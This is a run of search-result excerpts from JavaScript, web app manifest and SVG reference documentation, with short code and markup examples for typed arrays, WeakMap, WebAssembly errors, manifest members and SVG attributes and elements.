...ay var x = new uint32array([21, 31]); var y = new uint32array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(16); var z = new uint32array(buffer, 0, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uint32 = new uint32array(iterable); // uint32array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Uint8Array() constructor - JavaScript
the contents are initialized to 0.
...ypedarray var x = new uint8array([21, 31]); var y = new uint8array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(8); var z = new uint8array(buffer, 1, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uint8 = new uint8array(iterable); // uint8array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Uint8Array - JavaScript
the contents are initialized to 0.
...ypedarray var x = new uint8array([21, 31]); var y = new uint8array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(8); var z = new uint8array(buffer, 1, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uint8 = new uint8array(iterable); // uint8array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Uint8ClampedArray() constructor - JavaScript
the contents are initialized to 0.
...ray([21, 31]); var y = new uint8clampedarray(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(8); var z = new uint8clampedarray(buffer, 1, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uintc8 = new uint8clampedarray(iterable); // uint8clampedarray[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Uint8ClampedArray - JavaScript
the contents are initialized to 0.
...ray([21, 31]); var y = new uint8clampedarray(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(8); var z = new uint8clampedarray(buffer, 1, 4); // from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uintc8 = new uint8clampedarray(iterable); // uint8clampedarray[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
WeakMap - JavaScript
the second inconvenience is a memory leak because the arrays ensure that references to each key and each value are maintained indefinitely.
..., because there is no key for o2 on wm2 wm2.get(o3); // undefined, because that is the set value wm1.has(o2); // true wm2.has(o2); // false wm2.has(o3); // true (even if the value itself is 'undefined') wm3.set(o1, 37); wm3.get(o1); // 37 wm1.has(o1); // true wm1.delete(o1); wm1.has(o1); // false implementing a weakmap-like class with a .clear() method class clearableweakmap { constructor(init) { this._wm = new weakmap(init); } clear() { this._wm = new weakmap(); } delete(k) { return this._wm.delete(k); } get(k) { return this._wm.get(k); } has(k) { return this._wm.has(k); } set(k, v) { this._wm.set(k, v); return this; } } specifications specification ecmascript (ecma-262)the definition of 'weakmap' in that speci...
WeakSet - JavaScript
weaksets are ideal for this purpose: // execute a callback on everything stored inside an object function execrecursively(fn, subject, _refs = null){ if(!_refs) _refs = new weakset(); // avoid infinite recursion if(_refs.has(subject)) return; fn(subject); if("object" === typeof subject){ _refs.add(subject); for(let key in subject) execrecursively(fn, subject[key], _refs); } } const foo = { foo: "foo", bar: { bar: "bar" } }; foo.bar.baz = foo; // circular reference!
... specifications specification ecmascript (ecma-262)the definition of 'weakset' in that specification.
WebAssembly.CompileError() constructor - JavaScript
ello" console.log(e.name); // "compileerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification.
... ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
WebAssembly.CompileError - JavaScript
ello" console.log(e.name); // "compileerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification.
... ecmascript (ecma-262)the definition of 'nativeerror' in that specification.
WebAssembly.Global() constructor - JavaScript
got: ${got}<br>`; } asserteq("webassembly.global exists", typeof webassembly.global, "function"); const global = new webassembly.global({value:'i32', mutable:true}, 0); webassembly.instantiatestreaming(fetch('global.wasm'), { js: { global } }) .then(({instance}) => { asserteq("getting initial value from wasm", instance.exports.getglobal(), 0); global.value = 42; asserteq("getting js-updated value from wasm", instance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value from js", global.value, 43); }); note: you can see the example running live on github; see also the source code.
... specifications specification webassembly javascript interfacethe definition of 'webassembly.global() constructor' in that specification.
WebAssembly.LinkError() constructor - JavaScript
"hello" console.log(e.name); // "linkerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'linkerror' in that specification.
... ecmascript (ecma-262)the definition of 'nativeerror constructors' in that specification.
WebAssembly.LinkError - JavaScript
"hello" console.log(e.name); // "linkerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'linkerror' in that specification.
... ecmascript (ecma-262)the definition of 'nativeerror' in that specification.
WebAssembly.RuntimeError() constructor - JavaScript
ello" console.log(e.name); // "runtimeerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly.runtimeerror constructor' in that specification.
... ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
WebAssembly.RuntimeError - JavaScript
ello" console.log(e.name); // "runtimeerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification.
... ecmascript (ecma-262)the definition of 'nativeerror' in that specification.
WebAssembly.Table.prototype.grow() - JavaScript
examples using grow the following example creates a new webassembly table instance with an initial size of 2 and a maximum size of 10.
... var table = new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification.
WebAssembly.Table.prototype.length - JavaScript
syntax table.length; examples using length the following example creates a new webassembly table instance with an initial size of 2 and a maximum size of 10.
... var table = new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'length' in that specification.
null - JavaScript
it is not defined and has never been initialized: foo; //referenceerror: foo is not defined // foo is known to exist now but it has no type or value: var foo = null; foo; //null examples difference between null and undefined when checking for null or undefined, beware of the differences between equality (==) and identity (===) operators, as the former performs type-conversion.
... typeof null // "object" (not "null" for legacy reasons) typeof undefined // "undefined" null === undefined // false null == undefined // true null === null // true null == null // true !null // true isnan(1 + null) // false isnan(1 + undefined) // true specifications specification ecmascript (ecma-262)the definition of 'null value' in that specification.
parseFloat() - JavaScript
parsefloat can also parse and return infinity.
....14" } }); parsefloat returning nan the following example returns nan: parsefloat('ff2'); parsefloat and bigint the following examples both return 900719925474099300, losing precision as the integer is too large to be represented as a float: parsefloat(900719925474099267n); parsefloat('900719925474099267n'); specifications specification ecmascript (ecma-262)the definition of 'parsefloat' in that specification.
Standard built-in objects - JavaScript
infinity nan undefined globalthis function properties these global functions—functions which are called globally, rather than on an object—directly return their results to the caller.
... eval() uneval() isfinite() isnan() parsefloat() parseint() encodeuri() encodeuricomponent() decodeuri() decodeuricomponent() deprecated escape() unescape() fundamental objects these are the fundamental, basic objects upon which all other objects are based.
Lexical grammar - JavaScript
in octal numbers 0o2_2_5_6 // separators in hex numbers 0xa0_b0_c0 // separators in bigints 1_000_000_000_000_000_000_000n note these limitations: // more than one underscore in a row is not allowed 100__000; // syntaxerror // not allowed at the end of numeric literals 100_; // syntaxerror // can not be used after leading 0 0_1; // syntaxerror object literals see also object and object initializer for more information.
...these statements with "no lineterminator here" rules are: postfixexpressions (++ and --) continue break return yield, yield* module return a + b // is transformed by asi into return; a + b; specifications specification ecmascript (ecma-262)the definition of 'lexical grammar' in that specification.
Spread syntax (...) - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'array initializer' in that specification.
... ecmascript (ecma-262)the definition of 'object initializer' in that specification.
delete operator - JavaScript
as such, delete cannot delete any functions in the global scope (whether this is part from a function definition or a function expression).
...in the following example, trees[3] is removed from the array completely using splice(): var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple']; trees.splice(3,1); console.log(trees); // ["redwood", "bay", "cedar", "maple"] specifications specification ecmascript (ecma-262)the definition of 'the delete operator' in that specification.
Function expression - JavaScript
you can't use function expressions before you create them: console.log(nothoisted) // undefined // even though the variable name is hoisted, the definition isn't.
...; using a function as a callback more commonly it is used as a callback: button.addeventlistener('click', function(event) { console.log('button is clicked!') }) using an immediately executed function expression an anonymous function is created and called: (function() { console.log('code runs!') })(); specifications specification ecmascript (ecma-262)the definition of 'function definitions' in that specification.
return - JavaScript
function counter() { for (var count = 1; ; count++) { // infinite loop console.log(count + 'a'); // until 5 if (count === 5) { return; } console.log(count + 'b'); // until 4 } console.log(count + 'c'); // never appears } counter(); // output: // 1a // 1b // 2a // 2b // 3a // 3b // 4a // 4b // 5a returning a function see also the article about closures.
... function magic() { return function calc(x) { return x * 42; }; } var answer = magic(); answer(1337); // 56154 specifications specification ecmascript (ecma-262)the definition of 'return statement' in that specification.
switch - JavaScript
in javascript, you can even mix in definitions of strings into these case statements as well.
... specifications specification ecmascript (ecma-262)the definition of 'switch statement' in that specification.
Template literals (Template strings) - JavaScript
“cooked” array: function latex(str) { return { "cooked": str[0], "raw": str.raw[0] } } latex`\unicode` // { cooked: undefined, raw: "\\unicode" } note that the escape sequence restriction is only dropped from tagged templates—not from untagged template literals: let bad = `bad escape sequence: \unicode`; specifications specification ecmascript (ecma-262)the definition of 'template literals' in that specification.
... ecmascript (ecma-262)the definition of 'tagged templates literals' in that specification.
JavaScript typed arrays - JavaScript
examples using views with buffers first of all, we will need to create a buffer, here with a fixed length of 16-bytes: let buffer = new arraybuffer(16); at this point, we have a chunk of memory whose bytes are all pre-initialized to 0.
... let typedarray = new uint8array([1, 2, 3, 4]), normalarray = array.prototype.slice.call(typedarray); normalarray.length === 4; normalarray.constructor === array; specifications specification ecmascript (ecma-262)the definition of 'typedarray objects' in that specification.
JavaScript
on june 17, 2015, ecma international published the sixth major version of ecmascript, which is officially called ecmascript 2015, and was initially referred to as ecmascript 6 or es6.
... strict mode strict mode defines that you can not use any variable before initializing it.
background_color - Web app manifests
examples "background_color": "red" specification specification status comment feedback web app manifestthe definition of 'background_color' in that specification.
... working draft initial definition.
categories - Web app manifests
example "categories": ["books", "education", "medical"] specification specification status comment feedback web app manifestthe definition of 'categories' in that specification.
... working draft initial definition.
description - Web app manifests
ption in left-to-right language: "description": "awesome application that will help you achieve your dreams." description in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "description": ".تطبيق رائع سيساعدك على تحقيق أحلامك" specification specification status comment feedback web app manifestthe definition of 'description' in that specification.
... working draft initial definition.
dir - Web app manifests
WebManifestdir
example "dir": "rtl", "lang": "ar", "short_name": "!أنا من التطبيق" specification specification status comment feedback web app manifestthe definition of 'dir' in that specification.
... working draft initial definition.
display - Web app manifests
(none) example "display": "standalone" specification specification status comment feedback web app manifestthe definition of 'display' in that specification.
... working draft initial definition.
iarc_rating_id - Web app manifests
examples "iarc_rating_id": "e84b072d-71b3-4d3e-86ae-31a8ce4e53b7" specification specification status comment feedback web app manifestthe definition of 'iarc_rating_id' in that specification.
... working draft initial definition.
icons - Web app manifests
specification specification status comment feedback web app manifestthe definition of 'icons' in that specification.
... working draft initial definition.
lang - Web app manifests
WebManifestlang
examples "lang": "en-us" specification specification status comment feedback web app manifestthe definition of 'lang' in that specification.
... working draft initial definition.
name - Web app manifests
WebManifestname
examples simple name in left-to-right language: "name": "awesome application" right-to-left name in arabic: "dir": "rtl", "lang": "ar", "name": "!أنا من التطبيق" specification specification status comment feedback web app manifestthe definition of 'name' in that specification.
... working draft initial definition.
orientation - Web app manifests
values orientation can take one of the following values: any natural landscape landscape-primary landscape-secondary portrait portrait-primary portrait-secondary examples "orientation": "portrait-primary" specification specification status comment feedback web app manifestthe definition of 'orientation' in that specification.
... working draft initial definition.
prefer_related_applications - Web app manifests
examples "prefer_related_applications": true specification specification status comment feedback web app manifestthe definition of 'prefer_related_applications' in that specification.
... working draft initial definition.
related_applications - Web app manifests
specification specification status comment feedback web app manifestthe definition of 'related_applications' in that specification.
... working draft initial definition.
scope - Web app manifests
e manifest url is used as a base url: "scope": "/app/" the following scope limits navigation to the current site: "scope": "https://example.com/" finally, the following example limits navigation to a subdirectory of the current site: "scope": "https://example.com/subdirectory/" specification specification status comment feedback web app manifestthe definition of 'scope' in that specification.
... working draft initial definition.
screenshots - Web app manifests
examples "screenshots" : [ { "src": "screenshot1.webp", "sizes": "1280x720", "type": "image/webp" }, { "src": "screenshot2.webp", "sizes": "1280x720", "type": "image/webp" } ] specification specification status comment feedback web app manifestthe definition of 'screenshots' in that specification.
... working draft initial definition.
short_name - Web app manifests
examples simple short_name in left-to-right language: "name": "awesome application", "short_name": "awesome app" short_name in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "name": "تطبيق رائع", "short_name": "رائع" specification specification status comment feedback web app manifestthe definition of 'short_name' in that specification.
... working draft initial definition.
shortcuts - Web app manifests
a calendar app might have: "shortcuts" : [ { "name": "today's agenda", "url": "/today", "description": "list of events planned for today" }, { "name": "new event", "url": "/create/event" }, { "name": "new reminder", "url": "/create/reminder" } ] specification specification status comment feedback web app manifestthe definition of 'shortcuts' in that specification.
... working draft initial definition.
start_url - Web app manifests
"start_url": "../startpoint.html" specification specification status comment feedback web app manifestthe definition of 'start_url' in that specification.
... working draft initial definition.
theme_color - Web app manifests
examples "theme_color": "red" specification specification status comment feedback web app manifestthe definition of 'theme_color' in that specification.
... working draft initial definition.
Web audio codec guide - Web media technologies
after initially being a closed format, apple opened it up under an apache license.
... 51 (desktop) 58 (mobile) no no 11 container support mp4, ogg, flac rtp / webrtc compatible no licensing fully open and free of any licensing requirements g.711 (pulse code modulation of voice frequencies) the g.711 specification, published by the international telecommunications union (itu), was initially created in 1972 to define standards for encoding the voice frequencies on telephone lines into digital form.
Image file type and format guide - Web media technologies
gif supports simple animation, in which following an initial full-size frame, a series of images reflecting the parts of the image that change with each frame are provided.
...for instance, this example defines an drawing area with initial size 100 by 100 units, containing a line drawn diagonally through the box: <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <line x1="0" y1="80" x2="100" y2="20" stroke="black" /> </svg> svg can be used in web content in two ways: you can directly write the <svg> element within the html, containing svg elements to draw the image.
Critical rendering path - Web Performance
the browser initiates requests every time it finds links to external resources, be they stylesheets, scripts, or embedded image references.
...block level elements, by definition, have a default width of 100% of the width of their parent.
Performance fundamentals - Web Performance
text and images reflow automatically, ui elements automatically receive the system theme, and the system provides "built-in" support for some use cases developers may not think of initially, like different-resolution displays or right-to-left languages.
... startup performance application startup is punctuated by three user-perceived events, generally speaking: the first is the application first paint — the point at which sufficient application resources have been loaded to paint an initial frame the second is when the application becomes interactive — for example, users are able to tap a button and the application responds the final event is full load — for example when all the user's albums have been listed in a music player the key to fast startup is to keep two things in mind: upp is all that matters, and there's a "critical path" to each user-perceived event above.
Recommended Web Performance Timings: How long is too long? - Web Performance
there are different suggested times for initially loading the page versus loading additional assets, responding to user interaction, and ensuring smooth animations: idling goal browsers are single threaded (though background threads are supported for web workers).
...while a slower than 100ms reaction may create a disconnect between the user interaction and the response, a 100 to 200ms transition for a response may help the user notice the response their interaction initiated, such as a menu opening.
Graphic design for responsive sites - Progressive web apps (PWAs)
programmatic images you should also try to use programmatic/vector graphics as much as possible, as they theoretically scale infinitely so will still look crisp at high resolutions.
...text is infinitely scalable on the web, and you can also use css text properties to style your web font icons, such as text-shadow and color.
The building blocks of responsive design - Progressive web apps (PWAs)
but those solutions are definitely not ready for production yet — both are in a very early stage of standardization, and have no support across browsers.
...because vector images are calculated based on mathematical algorithms rather than containing separate data on every pixel in the image, they tend to be smaller in file size, and are infinitely scalable when zoomed or viewed on high resolution devices (at least, in theory).
SVG Presentation Attributes - SVG: Scalable Vector Graphics
value: auto|optimizespeed|optimizelegibility|geometricprecision|inherit; animatable: yes transform defines a list of transform definitions that are applied to an element and the element's children.
... value: <length>|inherit; animatable: yes writing-mode specifies whether the initial inline-progression-direction for a <text> element shall be left-to-right, right-to-left, or top-to-bottom.
accent-height - SVG: Scalable Vector Graphics
value <number> default value value of ascent animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'accent-height' in that specification.
... recommendation initial definition ...
alphabetic - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value 0 animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'alphabetic' in that specification.
... recommendation initial definition ...
ascent - SVG: Scalable Vector Graphics
WebSVGAttributeascent
value <number> default value difference between units-per-em and vert-origin-y animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'ascent' in that specification.
... recommendation initial definition ...
baseProfile - SVG: Scalable Vector Graphics
</svg> specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'baseprofile' in that specification.
... recommendation initial definition ...
bbox - SVG: Scalable Vector Graphics
WebSVGAttributebbox
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'bbox' in that specification.
... recommendation initial definition ...
cap-height - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'cap-height' in that specification.
... recommendation initial definition ...
color-profile - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-profile' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
contentScriptType - SVG: Scalable Vector Graphics
usage notes value one of the content types specified in the media types default value application/ecmascript animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'contentscripttype' in that specification.
... recommendation initial definition ...
contentStyleType - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'contentscripttype' in that specification.
... recommendation initial definition ...
descent - SVG: Scalable Vector Graphics
WebSVGAttributedescent
only one element is using this attribute: <font-face> usage notes value <number> default value value of vert-origin-y animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'descent' in that specification.
... recommendation initial definition ...
externalResourcesRequired - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'externalresourcesrequired' in that specification.
... recommendation initial definition ...
filterRes - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'filterres' in that specification.
... recommendation initial definition ...
fr - SVG: Scalable Vector Graphics
WebSVGAttributefr
ill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fr' in that specification.
... candidate recommendation initial definition ...
g1 - SVG: Scalable Vector Graphics
WebSVGAttributeg1
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'g1' in that specification.
... recommendation initial definition ...
g2 - SVG: Scalable Vector Graphics
WebSVGAttributeg2
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'g2' in that specification.
... recommendation initial definition ...
glyph-orientation-horizontal - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyph-orientation-horizontal' in that specification.
... recommendation initial definition ...
glyph-orientation-vertical - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyph-orientation-vertical' in that specification.
... recommendation initial definition ...
hanging - SVG: Scalable Vector Graphics
WebSVGAttributehanging
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'hanging' in that specification.
... recommendation initial definition ...
horiz-origin-x - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-origin-x' in that specification.
... recommendation initial definition ...
horiz-origin-y - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-origin-y' in that specification.
... recommendation initial definition ...
ideographic - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'ideographic' in that specification.
... recommendation initial definition ...
k - SVG: Scalable Vector Graphics
WebSVGAttributek
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'k' in that specification.
... recommendation initial definition ...
local - SVG: Scalable Vector Graphics
WebSVGAttributelocal
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'local' in that specification.
... recommendation initial definition ...
mathematical - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'mathematical' in that specification.
... recommendation initial definition ...
orientation - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'orientation' in that specification.
... recommendation initial definition ...
paint-order - SVG: Scalable Vector Graphics
y="75">stroke over</text> <text x="200" y="150" paint-order="stroke" id="stroke-under">stroke under</text> </g> </svg> the example would be rendered as follows: the stroke under effect could be achieved via the following css property: #stroke-under { paint-order: stroke; } specifications specification status comment scalable vector graphics (svg) 2the definition of 'paint-order' in that specification.
... candidate recommendation initial definition ...
rendering-intent - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'rendering-intent' in that specification.
... recommendation initial definition ...
requiredFeatures - SVG: Scalable Vector Graphics
t x="20" y="1152">http://www.w3.org/tr/svg11/feature#extensibility</text> </svg> css .ko { fill: #900; } .ok { fill: #060; } rect { stroke: #000; stroke-width: 2px; } text{ fill: #fff; font: 12px sans-serif; } result see also requiredfeatures.svg specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'requiredfeatures' in that specification.
... recommendation initial definition ...
side - SVG: Scalable Vector Graphics
WebSVGAttributeside
specifications specification status comment scalable vector graphics (svg) 2the definition of 'side' in that specification.
... candidate recommendation initial definition ...
slope - SVG: Scalable Vector Graphics
WebSVGAttributeslope
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'slope' in that specification.
... recommendation initial definition ...
stemh - SVG: Scalable Vector Graphics
WebSVGAttributestemh
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'stemh' in that specification.
... recommendation initial definition ...
stemv - SVG: Scalable Vector Graphics
WebSVGAttributestemv
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'stemv' in that specification.
... recommendation initial definition ...
string - SVG: Scalable Vector Graphics
WebSVGAttributestring
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'string' in that specification.
... recommendation initial definition ...
tabindex - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'tabindex' in that specification.
... candidate recommendation initial definition ...
u1 - SVG: Scalable Vector Graphics
WebSVGAttributeu1
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'u1' in that specification.
... recommendation initial definition ...
u2 - SVG: Scalable Vector Graphics
WebSVGAttributeu2
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'u2' in that specification.
... recommendation initial definition ...
unicode-range - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'unicode-range' in that specification.
... recommendation initial definition ...
unicode - SVG: Scalable Vector Graphics
WebSVGAttributeunicode
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'unicode' in that specification.
... recommendation initial definition ...
v-alphabetic - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-alphabetic' in that specification.
... recommendation initial definition ...
v-hanging - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-hanging' in that specification.
... recommendation initial definition ...
v-ideographic - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-ideographic' in that specification.
... recommendation initial definition ...
v-mathematical - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-mathematical' in that specification.
... recommendation initial definition ...
vector-effect - SVG: Scalable Vector Graphics
"m10,20l40,100l39,200z" stroke="black" stroke-width="2px" fill="none"></path> <!-- fixed--> <path vector-effect="non-scaling-stroke" transform="translate(300,0)scale(4,1)" d="m10,20l40,100l39,200z" stroke="black" stroke-width="2px" fill="none"></path> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of 'vector-effect' in that specification.
... candidate recommendation initial definition ...
version - SVG: Scalable Vector Graphics
WebSVGAttributeversion
<svg version="1.1" viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="80" height="80"/> </svg> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'version' in that specification.
... recommendation initial definition ...
vert-origin-x - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-origin-x' in that specification.
... recommendation initial definition ...
vert-origin-y - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-origin-y' in that specification.
... recommendation initial definition ...
viewTarget - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'viewtarget' in that specification.
... recommendation initial definition ...
widths - SVG: Scalable Vector Graphics
WebSVGAttributewidths
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'widths' in that specification.
... recommendation initial definition ...
x-height - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'x-height' in that specification.
... recommendation initial definition ...
xlink:arcrole - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xlink:arcrole' in that specification.
... recommendation initial definition ...
xlink:show - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xlink:show' in that specification.
... recommendation initial definition ...
xlink:type - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xlink:type' in that specification.
... recommendation initial definition ...
xml:base - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xml:base' in that specification.
... recommendation initial definition ...
zoomAndPan - SVG: Scalable Vector Graphics
y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting);" /> </svg> usage notes value disable | magnify default value magnify animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'zoomandpan' in that specification.
... recommendation initial definition ...
<altGlyph> - SVG: Scalable Vector Graphics
WebSVGElementaltGlyph
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<altglyph>' in that specification.
... recommendation initial definition ...
<altGlyphDef> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<altglyphdef>' in that specification.
... recommendation initial definition ...
<altGlyphItem> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<altglyphitem>' in that specification.
... recommendation initial definition ...
<animateColor> - SVG: Scalable Vector Graphics
example svg <svg width="120" height="120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="60" r="50"> <animatecolor attributename="fill" attributetype="xml" from="black" to="red" dur="6s" repeatcount="indefinite"/> </circle> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatecolor>' in that specification.
... recommendation initial definition ...
<color-profile> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<color-profile>' in that specification.
... recommendation initial definition ...
<discard> - SVG: Scalable Vector Graphics
WebSVGElementdiscard
entpermitted contentany number of the following elements, in any order:descriptive elements<script> attributes global attributes conditional processing attributes core attributes aria attributes specific attributes begin href (but note that <discard> has never supported xlink:href) specifications specification status comment svg animations level 2the definition of '<discard>' in that specification.
... editor's draft initial definition ...
<feDropShadow> - SVG: Scalable Vector Graphics
es class, style filter primitive attributes height, in, result, x, y, width presentation attributes most notably: flood-color, flood-opacity usage notes categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <script>, <set> specifications specification status comment filter effects module level 1the definition of '<fedropshadow>' in that specification.
... working draft initial definition ...
<font-face-format> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-format>' in that specification.
... recommendation initial definition ...
<font-face-name> - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-name>' in that specification.
... recommendation initial definition ...
<font-face-src> - SVG: Scalable Vector Graphics
